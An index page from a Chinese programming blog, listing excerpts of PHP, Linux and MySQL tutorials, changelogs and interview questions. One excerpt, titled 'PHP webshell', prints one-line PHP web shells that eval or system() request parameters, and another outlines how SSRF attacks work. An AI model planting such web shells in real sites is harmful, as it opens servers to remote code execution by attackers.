经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
 PHP
你必须知道的 Composer 版本约束

你必须知道的 Composer 版本约束

如果你还不知道 composer,前往 composer 的主页然后开始阅读吧。 我曾见过许多人被他们使用的 composer 包之间依赖的约束问题所困扰。希望这篇文章能指出某些问题的原因,并提供避免这些问题的方法。我会从最糟的情景入手,并一步步改进约束。 全能的星号:* Compo...[2020/4/2]

通过PHP的Wrapper无缝迁移原有项目到新服务的实现方法

通过PHP的Wrapper无缝迁移原有项目到新服务的实现方法

出于性能和安全方面的考虑,公司的平台上禁用了本地文件读写和对外的数据抓取.相应的,我们提供了对应的服务来做同样的事情.新服务的接口和原来不太一样. 专门为我们平台开发的程序当然不会存在问题,但是有大量的已有的程序和开源项目,就面临着繁杂的迁移工作. Wrapper 其实从PHP4.3开...[2020/4/2]

phpQuery采集网页实现代码实例

phpQuery采集网页实现代码实例

前言   平时开发中可能遇到一个问题。采集网页,小偷程序等等。各种花式秀正则的话,虽然能体现出geek,但是我觉得做事却不够优雅。采集到的网页说白了也是DOM,jQuery各种优雅地获取节点。幸好,有这个类库,帮我们解决了这个,那就是phpQuery. 为什么使...[2020/4/2]

[PHP] PHP 7.4.4错误修复版本的更改日志

核心: 修复了错误#79329(一个空字节后get_headers()默默地被截断)(CVE-2020-7066) 修复了错误#79244(PHP在解析INI文件时崩溃)的问题。 修复了错误#63206(restore_error_handler无法还原以前的错误掩码)。 COM: 修复...[2020/4/2]

[PHP] PHP7.4.3安全版本的更改日志

核心: 修复了错误#71876(内存损坏htmlspecialchars():不支持字符集*))。 修复了错误#79146(CScript在某些系统上可能无法运行)。 修复了错误#78323(无效选项返回代码0)。 修复了错误#76047(访问已破坏的回溯参数时可以自由使用)。 CURL...[2020/4/2]

[PHP] PHP7.4.2安全和修复版本的更改日志

[PHP] PHP7.4.2安全和修复版本的更改日志

核心: Windows上的预加载支持已被禁用。 修复了错误#79022(对于尚未准备好使用的类,cla _exists返回True)。 修复了错误#78929(Cookie值中的加号转换为空格)。 修复了错误#78973(CV释放期间的析构函数如果从未保存opline会导致段错误)。 修...[2020/4/2]

[PHP] PHP7.4.1安全版本更改日志

[PHP] PHP7.4.1安全版本更改日志

Bcmath: 修复了错误#78878(bc_shift_addsub中的缓冲区下溢)。 (CVE-2019-11046)。 核心: 修复了错误#78862(Windows上的null字节后,link()默默地截断)。 (CVE-2019-11044)。 修复了错误#78863(Di...[2020/4/2]

[Linux] 协程是不是我想的这样

最早知道的概念是进程 , 每个进程里面的执行单元是线程 , 一个进程肯定有一个主线程 , 也可以开出一些子线程 ,这俩都是操作系统控制的   协程是啥概念? 现在又在线程里面增加了个协程的单元 , 这个是各程序自己去实现的概念  , 是比线程更小的一个单元 &...[2020/4/2]

2020年PHP 面试问题(三)

2020年PHP 面试问题(三)

2020年PHP 面试问题(一) 2020年PHP 面试问题(二)   一.数据库三范式 第一范式:1NF是对属性的原子性约束,要求属性具有原子性,不可再分解; 第二范式:2NF是对记录的惟一性约束,要求记录有惟一标识,即实体的惟一性; 第三范式:3NF是对字段冗余性的...[2020/4/2]

php异步多线程swoole用法实例

摘要:本文实例讲述了php异步多线程swoole用法。分享给大家供大家参考。具体分析如下:swoole重新定义PHP语言的高性能网络通信框架,提供了PHP语言的异步多线程服务,下面的实例就可以证实这一功能。一般来说,Swoole提供了PHP语言的异步多线程服务器,异步TCP/UDP网络客...[2020/4/2]

高并发高可用系统以及面试分析

1.高并发,高可用系统的一些思考 高并发依赖于场景和逻辑 不一定每个场景都会产生高并发,不要为了高并发而盲目的设计,过度设计带来 的问题远比意料之外的高并发要多很多,依赖于具体场景和行为进行分析,一个 购物类网站,抢购场景,会触发很多的读取商品详情,计算库存等操作,而且不 需要每个请求...[2020/4/2]

2020年PHP 面试问题(一)

1.get,post 的区别 1、GET在浏览器回退时是无害的,而POST会再次提交请求。2、GET产生的URL地址可以被Bookmark,而POST不可以。3、GET请求会被浏览器主动cache,而POST不会,除非手动设置。4、GET请求只能进行url编码,而POST支持多种编码方式。...[2020/4/1]

[PHP] 中英双语网站的设计思路

1. 前几天开发一个双语网站企业站  , 实现思路大部分情况下 , 我们可以想到是使用一个语言包数组文件 . key和value的形式 , 我们在展示界面时 , 输出数组对应的key而不是固定写死这个值 大概的设计是这样的 , 有两个这样的php文件 cn.php en....[2020/4/1]

[网络] 使用wireshark抓包数据

有人针对我公司业务开发了批量注册机,本来想要分析下看看调用的哪个我们的接口,之前测试过ethereal抓包 , windows系统下使用最多的还是wireshark进行抓包 , 使用方式也很简单 1. 打开以后选择对应的网卡   2. 然后就可以开始抓数据了 过滤器...[2020/3/31]

[Linux] 使用vmstat查看系统的负载情况

vmstat可以查看 系统 , 内存 , cpu , io 等的使用情况 , 方便查看系统负载     可以用这个命令判断是CPU密集型还是IO密集型 CPU密集型的表现: cpu的us列(用户态)值高, sy列(系统态)系统利用率高  id列...[2020/3/31]

为什么 === 的速度比 == 快

比较运算符 == (相等运算符) 和 === (恒等运算符) 用于比较两个值。他们也被称为 宽松等于 (==) 和 严格等于 (===) 运算符。 PHP 运算符 PHP 中有很多运算符, 但 == 和...[2020/3/31]

[PHP] PDO 提供了三种不同的错误处理模式

1.PDO::ERRMODE_SILENT 静默模式,不终止代码,只能使用 $pdo->errorCode() 和 $pdo->errorInfo() 获取错误信息 , 这个是默认情况下 , 也就是不停断 , 不记日志 注意这种形式下不容易错误排查 2.PDO::ERRM...[2020/3/31]

微擎框架的缓存机制实现源码解读

首先,在配置文件中有如下配置: # /data/config.php $config[''setting''][''cache''] = ''mysql''; 然后,在框架入口中会加载缓存相关文件: # /framework/bootstrap.inc.php if (!in...[2020/3/31]

PHPExcel实现导入导出功能

之前做应用后台的时候,都是用的现有后台框架的导入导出功能,这次由于需要对导出的Excel做特殊的要求,所以研究了下PHPExcel,并整理了一下,结合网上的例子和官方文档整理了导入、导出的方法,并对常用的样式做了一份总结。 下载好PHPExcel解压后: Documentatio...[2020/3/30]

全局锁和表锁(6)

数据库锁的初衷:处理并发问题 全局锁 表锁 行锁 全局锁:对整个数据库实例加锁。MySQL提供了一个加全局读锁的方法(FTWRL),Flush tables with read lock,之后整个数据库处于读锁状态。 使用场景:全库逻辑备份,就是说把整库每个表都select出来存...[2020/3/30]

事务补充(8)

MVCC 在MySQL里,有两个"视图"个概念 一个是view,它是一个用查询语句定义的虚拟表,在调用的时候执行查询语句并生成结果。 另一个是InnoDB在实现MVCC时用到的一致性读视图,即consistent read view,用于支持RC(Read Com...[2020/3/30]

laravel的中间件创建思路

网上有很多解析laravel中间件的实现原理,但是不知道有没有读者在读的时候不明白,作者是怎么想到要用array_reduce函数的? 本文从自己的角度出发,模拟了如果我是作者,我是怎么实现这个中间件功能,又是怎么找到并使用对应的函数。 什么是laravel中间件 Laravel 中...[2020/3/30]

[PHP 开源类库]simple-Excel — 兼具优雅与性能的Excel和CSV文件读写工具

该扩展包可让你轻松读取和写入简单的 Excel 和 CSV 文件。在后台使用生成器来确保低内存使用,即使在处理大型文件时也是如此。 这是有关如何读取 Excel 或 CSV 的示例。 SimpleExcelReader::create($pathToFile)->getRo...[2020/3/30]

正则表达式

正则表达式 英文为Regular expre ion,简称:regex或regexp。 含义:按照某种规则去匹配符合条件的字符串 正则表达式由两种基本字符类型构成: 原义文本字符 元字符 元字符是在正则表达式中有特殊含义的非字母字符:* + ? ^ $ . | \ () {} ...[2020/3/27]

关于trait()

自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 Trait。 Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。 trait看上去更像是为了代...[2020/3/27]

PHP 代码简洁之道 ( PHP Clean Code)(第二部分)

PHP 代码简洁之道 ( PHP Clean Code)(第一部分)? 使用默认参数而不是使用短路运算或者是条件判断 不好的做法: 这是不太好的因为 $breweryName 可以是 NULL. function createMicrobrewer...[2020/3/27]

list()和each()

list()和each()

list()和each() list() each() list(mixed $varl[, mixed $...]) : array 把数组中的值赋给一组变量。可以在单次操作内就为一组变量赋值,将索引数组下标为0的值赋值给变量1,下午1的赋值给变量2... array each...[2020/3/27]

empty()和isset()

关于FALSE 当转换为boolean时,以下值被认为是false 布尔值false本身 整型值0(零) 浮点值0.0 空字符串'''',字符串''0'',以及尚未赋值的变量 不包含任何元素的数组 特殊类型NULL 所有其他值都被任务是TRUE NULL类型的三种情况: 1、通过...[2020/3/27]

php整理

1.include和require的区别 加载失败的处理方式不同。引入不存在的文件时,include会产生警告且脚本还会继续执行,require则会导致一个致命性错误且脚本停止执行。 文件引用方式不同。include()执行时需要引用的文件每次都进行执行,并且可以有返回值,requir...[2020/3/27]

关于date()

关于date()

时间的三个概念: 时区 全球分为24个时区,中国采用北京所在地东八区的时间作为全国统一使用的时间 世界时 以格林尼治(英国某地区)的地方时间为准,英文简称GMT unix时间戳 从unix纪元(1970年1月1日零时)开始到一个时间经过的秒数 默认时区函数 string da...[2020/3/27]

PHP 代码简洁之道 ( PHP Clean Code)(第一部分)

介绍 Robert C.Martin''s 的 软件工程师准则 Clean Code 同样适用于 PHP。它并不是一个编码风格指南,它指导我们用 PHP 写出具有可读性,可复用性且可分解的代码。 并非所有的准则都必须严格遵守,甚至一些已经成为普遍的约定。这仅仅作为...[2020/3/27]

php运算符

php运算符

PHP运算符 按操作数: 一元运算符(只能接受一个值) 二元运算符(接受两个值) 三元运算符(接受三个值) 按类型: 算术运算符 赋值运算符 位运算符 比较运算符 错误控制运算符 递增/递减运算符 逻辑运算符 算法运算符 /* * - 取反 * + 加法 * - 减法...[2020/3/27]

php流程控制

流程控制 分支控制 if echo "1. if"."\n"; $a = 10; $b = 3; if ($a > $b){ echo "a大于b"."\n"; } else:经常需要在...[2020/3/27]

php字符串函数

字符串常用函数 获取字符串长度函数 /* * strlen函数 * int strlen($var) * 获取字符串或数字的长度 */ $a = ''hello, woRld''; $b = ''王昭''; utf8格式下,每个汉字3个字节长 $c = 1111; echo str...[2020/3/27]

php函数

函数 函数含义 函数:是实现特定功能的、可以重复执行的代码段; 函数名:从语法上讲,函数名中能有汉字,但在实际开发中不建议使用! 函数结构 function 函数名 () { 代码块 } 函数名定义规则 开头:[a-zA-Z_\x7f-\xff] 函数名:[a-zA-Z...[2020/3/27]

php数学函数

数学函数库 进一、舍一取整,四舍五入 /* * floor函数 * float floor(float $value) * 描述:将实现舍一取整 * * ceil函数 * float ceil(float $value) * 描述:将实现进一取整 * * round函...[2020/3/27]

php日期函数

php日期函数

日期时间函数 格式化日期 /* * date函数 * string date(string format[, int timestamp]) * 描述:格式化一个本地时间/日期 * * format格式: * Y:4位数字完整表示的年份 * y:2位数字表示的年份 * ...[2020/3/27]

php数组函数

数组 php中的数组是一个有序映射,映射是一种把values关联到keys的类型,数组可以接受任意数量用逗号分隔符的键值对。 数组的介绍 /* * php中数组可以分为: * 索引数组:下标是数字 * 关联数组:下标是字符串 * 注:php中数组其实不区分索引还是关联数组,都...[2020/3/27]

php文件函数

文件函数库 文件、目录函数库为PHP核心函数库,可以通过其提供的API完成对于文件及目录的常用操作。 文件信息相关的API /* * 文件信息相关API * filetype(), filesize(), filectime(),filemtime(), fileatime()...[2020/3/27]

php会话控制

se ion 什么是se ion? se ion在计算机中,尤其在网络应用中,称为"会话控制";具体到web中的se ion指的就是用户在浏览某个网站时,从进入网站到浏览器关闭所经过的这段时间,也就是用户浏这个网站所花费的时间。因此从上述的定义中可以看到,se io...[2020/3/27]

php命名空间

之前没有系统学习过PHP语言,直接上手TP框架了,所以认为namespace和use是TP框架的一部分,最近学习语言模块的时候遇到了这个问题,所以汇总了一下。 PHP中命名空间可以解决两类问题: 用户编写的代码与PHP内部的类、函数、常量或第三方类、函数、常量之间的名字冲突。 为很长的...[2020/3/27]

php操作mysql

PHP操作MySQL PHP操作MySQL的三种方式: MySQL:非永久连接,性能比较低,PHP5.5以后废弃; MySQLi:永久连接,减轻服务器压力,只支持MySQL; PDO:能实现MySQLi的常用功能,支持大部分数据库; PHP扩展查看函数:phpinfo(); ph...[2020/3/27]

wordpress 5.3.2 自带主题不能设置备案号的解决方法

wordpress 5.3.2 自带主题不能设置备案号的解决方法

此方法只对wordpre 自带的主题生效 1.在 wp-config.php 文件中新增以下代码 /** 设置ICP备案是否显示 */ define(''WP_ZH_CN_ICP_NUM'', true); 2.下载此文件zh_CN并解压,把里面的zh_CN.p...[2020/3/27]

php基础

PHP简介 最初用于维护个人主页,简写为:Personal HomePage。 最后改为:Hypertext Preproce or(超文本预处理器),于1994年诞生。 优势 性能好,开发效率高 跨平台(可以在不同的操作系统上运:windows/linux/unix) 上手快,编...[2020/3/27]

php数据类型

PHP数据类型 PHP支持八种原始的数据类型: 布尔型 /* * boolean:TRUE FALSE * 以下值被认为是FALSE: * 布尔值FALSE本身 * 整型值0(零) * 浮点型0.0(零) * 空字符串,以及字符串"0" * 不包...[2020/3/27]

程序员找工作必备 PHP 基础面试题 (四)

程序员找工作必备 PHP 基础面试题? 程序员找工作必备 PHP 基础面试题(二)? 程序员找工作必备 PHP 基础面试题 (三) 一、在 HTTP1.0 中,状态吗 500 的含义的是什么?如果返回 “找不到文件” 的提示,则可用 header(函数),其语...[2020/3/27]

[PHP] 检测文件是否有病毒的实现逻辑

在用户收到发送过来的文件后 , 要能够检测出这个文件是否是病毒 , 核心的软件是clamav , 可以在linux命令行执行,检测文件或目录里的病毒 下载和安装可以参考其他博文 需要注意的是要开启下配置文件中的 LocalSocket /tmp/clamd.socket &nbs...[2020/3/27]

PHP webshell

<?php @eval($_GET[''phpcode'']);?> <?php @eval($_POST[''phpcode'']);?> <?php @system($_GET[''cmd'']);?> <?php @system($_PO...[2020/3/27]

SSRF攻击原理

SSRF攻击原理

什么是SSRF 一个对外的Web接口,改接口能让用户控制curl命令,去访问别的web服务。 简图如下 想象一下当用户请求的baidu.com/x.php?image=google.com/1.jpg 改成 baidu.com/x.php?image=private.com/ph...[2020/3/27]

Laravel 教程:使用Fast Excel解决导出超大 XLSX 文件(千万级)带来的内存问题

Laravel 教程:使用Fast Excel解决导出超大 XLSX 文件(千万级)带来的内存问题

TL;DR: 本文介绍 Laravel 的 FastExcel 组件,文中会对 PHP generators 速览,并给出如何在节约内存的同时结合两者从数据集生成 Excel 文件。 关于 FastExcel Laravel FastExcel 旨在成为 Laravel 风格...[2020/3/26]

87
2
记录数:3524 页数:1/7112345678910下一页尾页
加载更多